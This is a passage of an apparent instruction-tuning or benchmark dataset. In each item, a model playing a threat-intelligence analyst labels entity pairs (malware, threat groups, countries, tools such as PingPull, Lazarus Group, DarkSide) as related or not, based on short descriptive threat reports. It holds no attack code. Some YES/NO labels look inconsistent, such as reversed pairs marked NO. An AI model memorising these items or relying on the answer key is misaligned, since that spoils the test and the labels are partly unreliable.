Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPingPull\n### Target Entity: Vietnam\n### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMozambique\n### Target Entity: Russia\n### Text Passage:\nPingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOopsIE\n### Target Entity: C2\n### Text Passage:\nOopsIE uses HTTP for C2 communications.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDropBook\n### Target Entity: Python\n### Text Passage:\nDropBook is a Python-based backdoor compiled with PyInstaller.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDropBook\n### Target Entity: PyInstaller\n### Text Passage:\nDropBook is a Python-based backdoor compiled with PyInstaller.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPyInstaller\n### Target Entity: DropBook\n### Text Passage:\nDropBook is a Python-based backdoor compiled with PyInstaller.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nChChes\n### Target Entity: Internet Explorer\n### Text Passage:\nChChes collects the victim's %TEMP% directory path and version of Internet Explorer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Dream Job\n### Target Entity: Lazarus Group\n### Text Passage:\nOperation Dream Job was a cyber espionage operation likely conducted by Lazarus Group that targeted the defense, aerospace, government, and other sectors in the United States, Israel, Australia, Russia, and India. In at least one case, the cyber actors tried to monetize their network access to conduct a business email compromise (BEC) operation. In 2020, security researchers noted overlapping TTPs, to include fake job lures and code similarities, between Operation Dream Job, Operation North Star, and Operation Interception; by 2022 security researchers described Operation Dream Job as an umbrella term covering both Operation Interception and Operation North Star.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Dream Job\n### Target Entity: United States\n### Text Passage:\nOperation Dream Job was a cyber espionage operation likely conducted by Lazarus Group that targeted the defense, aerospace, government, and other sectors in the United States, Israel, Australia, Russia, and India. In at least one case, the cyber actors tried to monetize their network access to conduct a business email compromise (BEC) operation. In 2020, security researchers noted overlapping TTPs, to include fake job lures and code similarities, between Operation Dream Job, Operation North Star, and Operation Interception; by 2022 security researchers described Operation Dream Job as an umbrella term covering both Operation Interception and Operation North Star.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Dream Job\n### Target Entity: Israel\n### Text Passage:\nOperation Dream Job was a cyber espionage operation likely conducted by Lazarus Group that targeted the defense, aerospace, government, and other sectors in the United States, Israel, Australia, Russia, and India. In at least one case, the cyber actors tried to monetize their network access to conduct a business email compromise (BEC) operation. In 2020, security researchers noted overlapping TTPs, to include fake job lures and code similarities, between Operation Dream Job, Operation North Star, and Operation Interception; by 2022 security researchers described Operation Dream Job as an umbrella term covering both Operation Interception and Operation North Star.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Dream Job\n### Target Entity: Australia\n### Text Passage:\nOperation Dream Job was a cyber espionage operation likely conducted by Lazarus Group that targeted the defense, aerospace, government, and other sectors in the United States, Israel, Australia, Russia, and India. In at least one case, the cyber actors tried to monetize their network access to conduct a business email compromise (BEC) operation. In 2020, security researchers noted overlapping TTPs, to include fake job lures and code similarities, between Operation Dream Job, Operation North Star, and Operation Interception; by 2022 security researchers described Operation Dream Job as an umbrella term covering both Operation Interception and Operation North Star.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Dream Job\n### Target Entity: Russia\n### Text Passage:\nOperation Dream Job was a cyber espionage operation likely conducted by Lazarus Group that targeted the defense, aerospace, government, and other sectors in the United States, Israel, Australia, Russia, and India. In at least one case, the cyber actors tried to monetize their network access to conduct a business email compromise (BEC) operation. In 2020, security researchers noted overlapping TTPs, to include fake job lures and code similarities, between Operation Dream Job, Operation North Star, and Operation Interception; by 2022 security researchers described Operation Dream Job as an umbrella term covering both Operation Interception and Operation North Star.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOperation Dream Job\n### Target Entity: India\n### Text Passage:\nOperation Dream Job was a cyber espionage operation likely conducted by Lazarus Group that targeted the defense, aerospace, government, and other sectors in the United States, Israel, Australia, Russia, and India. In at least one case, the cyber actors tried to monetize their network access to conduct a business email compromise (BEC) operation. In 2020, security researchers noted overlapping TTPs, to include fake job lures and code similarities, between Operation Dream Job, Operation North Star, and Operation Interception; by 2022 security researchers described Operation Dream Job as an umbrella term covering both Operation Interception and Operation North Star.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA505\n### Target Entity: FlawedGrace\n### Text Passage:\nWhatta TA: TA505 Ramps Up Activity, Delivers New FlawedGrace Variant October 19, 2021\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFlawedGrace\n### Target Entity: Whatta TA\n### Text Passage:\nWhatta TA: TA505 Ramps Up Activity, Delivers New FlawedGrace Variant October 19, 2021\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nP2P ZeuS\n### Target Entity: P2P\n### Text Passage:\nP2P ZeuS added junk data to outgoing UDP packets to peer implants.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNet Crawler\n### Target Entity: PsExec\n### Text Passage:\nNet Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSamSam\n### Target Entity: Bitcoin\n### Text Passage:\nSamSam encrypts victim files using RSA-2048 encryption and demands a ransom be paid in Bitcoin to decrypt those files.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBoomBox\n### Target Entity: C2\n### Text Passage:\nBoomBox has used HTTP POST requests for C2.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKaseya VSA supply-chain attack\n### Target Entity: REvil\n### Text Passage:\nWith the petabytes of daily data transactions it secures, the Zscaler ThreatLabZ security research team has a unique view of the latest cybersecurity trends and, more importantly, threat activity. This month, we deconstructed the new Kaseya VSA supply-chain attack and took a deep dive into the Minebridge RAT infection chain. ### **The REvil hackers come back with a Kaseya supply-chain ransomware attack**\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nREvil\n### Target Entity: Zscaler ThreatLabZ\n### Text Passage:\nWith the petabytes of daily data transactions it secures, the Zscaler ThreatLabZ security research team has a unique view of the latest cybersecurity trends and, more importantly, threat activity. This month, we deconstructed the new Kaseya VSA supply-chain attack and took a deep dive into the Minebridge RAT infection chain. ### **The REvil hackers come back with a Kaseya supply-chain ransomware attack**\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBOOTRASH\n### Target Entity: Volume Boot Record\n### Text Passage:\nBOOTRASH is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGRIFFON\n### Target Entity: JavaScript\n### Text Passage:\nGRIFFON is written in and executed as JavaScript.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0021\n### Target Entity: US\n### Text Passage:\nC0021 was a spearphishing campaign conducted in November 2018 that targeted public sector institutions, non-governmental organizations (NGOs), educational institutions, and private-sector corporations in the oil and gas, chemical, and hospitality industries. The majority of targets were located in the US, particularly in and around Washington D.C., with other targets located in Europe, Hong Kong, India, and Canada. C0021's technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected APT29 activity.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0021\n### Target Entity: Washington D.C.\n### Text Passage:\nC0021 was a spearphishing campaign conducted in November 2018 that targeted public sector institutions, non-governmental organizations (NGOs), educational institutions, and private-sector corporations in the oil and gas, chemical, and hospitality industries. The majority of targets were located in the US, particularly in and around Washington D.C., with other targets located in Europe, Hong Kong, India, and Canada. C0021's technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected APT29 activity.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0021\n### Target Entity: Europe\n### Text Passage:\nC0021 was a spearphishing campaign conducted in November 2018 that targeted public sector institutions, non-governmental organizations (NGOs), educational institutions, and private-sector corporations in the oil and gas, chemical, and hospitality industries. The majority of targets were located in the US, particularly in and around Washington D.C., with other targets located in Europe, Hong Kong, India, and Canada. C0021's technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected APT29 activity.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0021\n### Target Entity: Hong Kong\n### Text Passage:\nC0021 was a spearphishing campaign conducted in November 2018 that targeted public sector institutions, non-governmental organizations (NGOs), educational institutions, and private-sector corporations in the oil and gas, chemical, and hospitality industries. The majority of targets were located in the US, particularly in and around Washington D.C., with other targets located in Europe, Hong Kong, India, and Canada. C0021's technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected APT29 activity.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0021\n### Target Entity: India\n### Text Passage:\nC0021 was a spearphishing campaign conducted in November 2018 that targeted public sector institutions, non-governmental organizations (NGOs), educational institutions, and private-sector corporations in the oil and gas, chemical, and hospitality industries. The majority of targets were located in the US, particularly in and around Washington D.C., with other targets located in Europe, Hong Kong, India, and Canada. C0021's technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected APT29 activity.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0021\n### Target Entity: Canada\n### Text Passage:\nC0021 was a spearphishing campaign conducted in November 2018 that targeted public sector institutions, non-governmental organizations (NGOs), educational institutions, and private-sector corporations in the oil and gas, chemical, and hospitality industries. The majority of targets were located in the US, particularly in and around Washington D.C., with other targets located in Europe, Hong Kong, India, and Canada. C0021's technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected APT29 activity.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0021\n### Target Entity: APT29\n### Text Passage:\nC0021 was a spearphishing campaign conducted in November 2018 that targeted public sector institutions, non-governmental organizations (NGOs), educational institutions, and private-sector corporations in the oil and gas, chemical, and hospitality industries. The majority of targets were located in the US, particularly in and around Washington D.C., with other targets located in Europe, Hong Kong, India, and Canada. C0021's technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected APT29 activity.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEurope\n### Target Entity: C0021\n### Text Passage:\nC0021 was a spearphishing campaign conducted in November 2018 that targeted public sector institutions, non-governmental organizations (NGOs), educational institutions, and private-sector corporations in the oil and gas, chemical, and hospitality industries. The majority of targets were located in the US, particularly in and around Washington D.C., with other targets located in Europe, Hong Kong, India, and Canada. C0021's technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected APT29 activity.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMechaFlounder\n### Target Entity: Windows\n### Text Passage:\nMechaFlounder has been downloaded as a file named lsass.exe, which matches the legitimate Windows file.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindows\n### Target Entity: MechaFlounder\n### Text Passage:\nMechaFlounder has been downloaded as a file named lsass.exe, which matches the legitimate Windows file.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPacu\n### Target Entity: AWS\n### Text Passage:\nPacu is an open-source AWS exploitation framework. The tool is written in Python and publicly available on GitHub.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAstaroth\n### Target Entity: certutil\n### Text Passage:\nAstaroth uses certutil and BITSAdmin to download additional malware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAstaroth\n### Target Entity: BITSAdmin\n### Text Passage:\nAstaroth uses certutil and BITSAdmin to download additional malware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOrangeworm\n### Target Entity: Kwampirs\n### Text Passage:\nKwampirs is a backdoor Trojan used by Orangeworm. It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDragonfly\n### Target Entity: Backdoor.Oldrea\n### Text Passage:\nBackdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ngroup\n### Target Entity: Backdoor.Oldrea\n### Text Passage:\nBackdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDragonfly\n### Target Entity: group\n### Text Passage:\nBackdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n2020 SolarWinds cyber intrusion\n### Target Entity: APT29\n### Text Passage:\nTEARDROP is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by APT29 since at least May 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n2020 SolarWinds cyber intrusion\n### Target Entity: TEARDROP\n### Text Passage:\nTEARDROP is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by APT29 since at least May 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT29\n### Target Entity: TEARDROP\n### Text Passage:\nTEARDROP is a memory-only dropper that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was likely used by APT29 since at least May 2020.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkSide\u2019\n### Target Entity: Dridex\n### Text Passage:\nWith respect to DarkSide\u2019s affiliates, there is overlap in how the ransomware was delivered, including affiliates gaining initial network access by exploiting vulnerable software like Citrix, Remote Desktop Web (RDWeb), or remote desktop protocol (RDP), performing lateral movement, and exfiltrating sensitive data before ultimately deploying ransomware. For initial access to networks, actors usually purchased access credentials on underground forums, conducted brute-force attacks, used spam campaigns to spread malware loaders and/or bought access to popular botnets such as Dridex, TrickBot and ZLoader. As for post-exploitation tools, the arsenal usually included Cobalt Strike and Metasploit frameworks, Mimikatz and BloodHound.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkSide\u2019\n### Target Entity: TrickBot\n### Text Passage:\nWith respect to DarkSide\u2019s affiliates, there is overlap in how the ransomware was delivered, including affiliates gaining initial network access by exploiting vulnerable software like Citrix, Remote Desktop Web (RDWeb), or remote desktop protocol (RDP), performing lateral movement, and exfiltrating sensitive data before ultimately deploying ransomware. For initial access to networks, actors usually purchased access credentials on underground forums, conducted brute-force attacks, used spam campaigns to spread malware loaders and/or bought access to popular botnets such as Dridex, TrickBot and ZLoader. As for post-exploitation tools, the arsenal usually included Cobalt Strike and Metasploit frameworks, Mimikatz and BloodHound.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkSide\u2019\n### Target Entity: ZLoader\n### Text Passage:\nWith respect to DarkSide\u2019s affiliates, there is overlap in how the ransomware was delivered, including affiliates gaining initial network access by exploiting vulnerable software like Citrix, Remote Desktop Web (RDWeb), or remote desktop protocol (RDP), performing lateral movement, and exfiltrating sensitive data before ultimately deploying ransomware. For initial access to networks, actors usually purchased access credentials on underground forums, conducted brute-force attacks, used spam campaigns to spread malware loaders and/or bought access to popular botnets such as Dridex, TrickBot and ZLoader. As for post-exploitation tools, the arsenal usually included Cobalt Strike and Metasploit frameworks, Mimikatz and BloodHound.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkSide\u2019\n### Target Entity: Cobalt Strike\n### Text Passage:\nWith respect to DarkSide\u2019s affiliates, there is overlap in how the ransomware was delivered, including affiliates gaining initial network access by exploiting vulnerable software like Citrix, Remote Desktop Web (RDWeb), or remote desktop protocol (RDP), performing lateral movement, and exfiltrating sensitive data before ultimately deploying ransomware. For initial access to networks, actors usually purchased access credentials on underground forums, conducted brute-force attacks, used spam campaigns to spread malware loaders and/or bought access to popular botnets such as Dridex, TrickBot and ZLoader. As for post-exploitation tools, the arsenal usually included Cobalt Strike and Metasploit frameworks, Mimikatz and BloodHound.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkSide\u2019\n### Target Entity: Metasploit\n### Text Passage:\nWith respect to DarkSide\u2019s affiliates, there is overlap in how the ransomware was delivered, including affiliates gaining initial network access by exploiting vulnerable software like Citrix, Remote Desktop Web (RDWeb), or remote desktop protocol (RDP), performing lateral movement, and exfiltrating sensitive data before ultimately deploying ransomware. For initial access to networks, actors usually purchased access credentials on underground forums, conducted brute-force attacks, used spam campaigns to spread malware loaders and/or bought access to popular botnets such as Dridex, TrickBot and ZLoader. As for post-exploitation tools, the arsenal usually included Cobalt Strike and Metasploit frameworks, Mimikatz and BloodHound.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkSide\u2019\n### Target Entity: Mimikatz\n### Text Passage:\nWith respect to DarkSide\u2019s affiliates, there is overlap in how the ransomware was delivered, including affiliates gaining initial network access by exploiting vulnerable software like Citrix, Remote Desktop Web (RDWeb), or remote desktop protocol (RDP), performing lateral movement, and exfiltrating sensitive data before ultimately deploying ransomware. For initial access to networks, actors usually purchased access credentials on underground forums, conducted brute-force attacks, used spam campaigns to spread malware loaders and/or bought access to popular botnets such as Dridex, TrickBot and ZLoader. As for post-exploitation tools, the arsenal usually included Cobalt Strike and Metasploit frameworks, Mimikatz and BloodHound.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkSide\u2019\n### Target Entity: BloodHound\n### Text Passage:\nWith respect to DarkSide\u2019s affiliates, there is overlap in how the ransomware was delivered, including affiliates gaining 